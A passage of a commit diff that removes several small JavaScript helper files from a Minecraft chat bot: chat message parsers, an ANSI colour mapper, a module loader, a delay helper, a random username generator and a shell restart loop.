sender = data.players.find(player => player.profile.name) //=== stringusername)
}
if (!sender) return null
return { sender, contents, type: 'minecraft:chat', senderComponent }
} catch(e) {
console.error(e);
}
}
module.exports = sayConsole
-25
View File
@@ -1,25 +0,0 @@
function yfdCustomChat (message, data, context, bot) {
try {
if (message === null || typeof message !== 'object') return
if (message.with?.length < 3 || (message.translate !== '[%s] %s: %s' && message.translate !== '%s %s › %s')) return
const senderComponent = message.with[1]
const contents = message.with[2]
let sender
const hoverEvent = senderComponent.hoverEvent
if (hoverEvent?.action === 'show_entity') {
const id = hoverEvent.contents.id
sender = data.players.find(player => player.uuid === id)
} else {
const stringUsername = data.getMessageAsPrismarine(senderComponent).toString() // TypeError: data.getMessageAsPrismarine is not a function
sender = data.players.find(player => player.profile.name === stringUsername)
}
if (!sender) return null
return { sender, contents, type: 'minecraft:chat', senderComponent }
} catch(e) {
console.error(e)
}
}
module.exports = yfdCustomChat
-26
View File
@@ -1,26 +0,0 @@
function ansi (message) {
const ansilist = {
"\x1B\[93m": "\x1B[33m", // Yellow
"\x1B\[96m": "\x1B[36m", // Blue
"\x1B\[94m": "\x1B[34m", // Discord Blue
"\x1B\[90m": "\x1B[30m", // Gray
"\x1B\[91m": "\x1B[31m", // Light Red
"\x1B\[95m": "\x1B\[35m", // Pink
"\x1B\[92m": "\x1B\[32m", // Green
"\x1B\[0m": "\x1B\[0m\x1B\[37m", // White
"\x1B\[97m": "\x1B\[0m\x1B\[37m", // White
};
let i = message;
for (const ansi in ansilist) {
if (ansilist.hasOwnProperty(ansi)) {
i = i.replace(new RegExp(escapeRegExpChars(ansi), 'g'), ansilist[ansi]);
function escapeRegExpChars(text) {
return text.replace(/[-\/\\^$*+?.()|[\]{}]/g, '\\$&')
}
}
}
return i;
}
module.exports = ansi;
-7
View File
@@ -1,7 +0,0 @@
function between(min, max) {
return Math.floor(
Math.random() * (max - min) + min
)
}
module.exports = between;
// ported from FNFBoyfriendBot v3
-16
View File
@@ -1,16 +0,0 @@
// TODO: Improve how messages are stringified
const ChatMessage = require('prismarine-chat')('1.20.2')
const stringify = message => new ChatMessage(message).toString()
class CommandError extends Error {
constructor (message, filename, lineError) {
super(stringify(message), filename, lineError)
this.name = 'CommandError'
this._message = message
}
get message () {
return stringify(this._message)
}
}
module.exports = CommandError
-7
View File
@@ -1,7 +0,0 @@
class CommandSource {
constructor (player, sources) {
this.player = player;
this.sources = sources;
}
}
module.exports = CommandSource
-15
View File
@@ -1,15 +0,0 @@
const fs = require("fs");
const path = require("path");
function loadModules (bot, options, config, discordClient) {
bot.loadModule = module => module(bot, options, config, discordClient)
for (const filename of fs.readdirSync(path.join(__dirname, '../', 'modules'))) {
try {
const module = require(path.join(__dirname, '../', 'modules', filename))
bot.loadModule(module)
} catch (error) {
console.error('Failed to load module', filename, ':', error)
}
}
}
module.exports = loadModules;
-5
View File
@@ -1,5 +0,0 @@
async function delay (ms) {
return new Promise((resolve) => setTimeout(resolve, ms));
}
module.exports = delay;
// ported from FNFBoyfriendBot v3
-22
View File
@@ -1,22 +0,0 @@
const styles = {
bigint: '\xa76', // gold
boolean: '\xa76', // gold
date: '\xa75', // dark_purple
module: '\xa7n', // underline
name: undefined, //undefined
null: '\xa73', // bold
number: '\xa76', // gold
regexp: '\xa74', // dark_red
special: '\xa73', // blue
string: '\xa72', // green
symbol: '\xa72', // green
undefined: '\xa78' // dark_gray
}
function stylize (str, styleType) {
const style = styles[styleType]
if (style !== undefined) return `${style}${str}\xa7r`
return str
}
module.exports = { stylize, styles }
-10
View File
@@ -1,10 +0,0 @@
function usernameGen () {
const characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890';
let username = '';
for (let i = 0; i < 10; i++ ) {
const randomIndex = Math.floor(Math.random() * characters.length);
username += characters[randomIndex];
}
return username;
}
module.exports = usernameGen;
-4
View File
@@ -1,4 +0,0 @@
while true; do
node --max-old-space-size=1000 --expose-gc src/index.js
sleep 1
done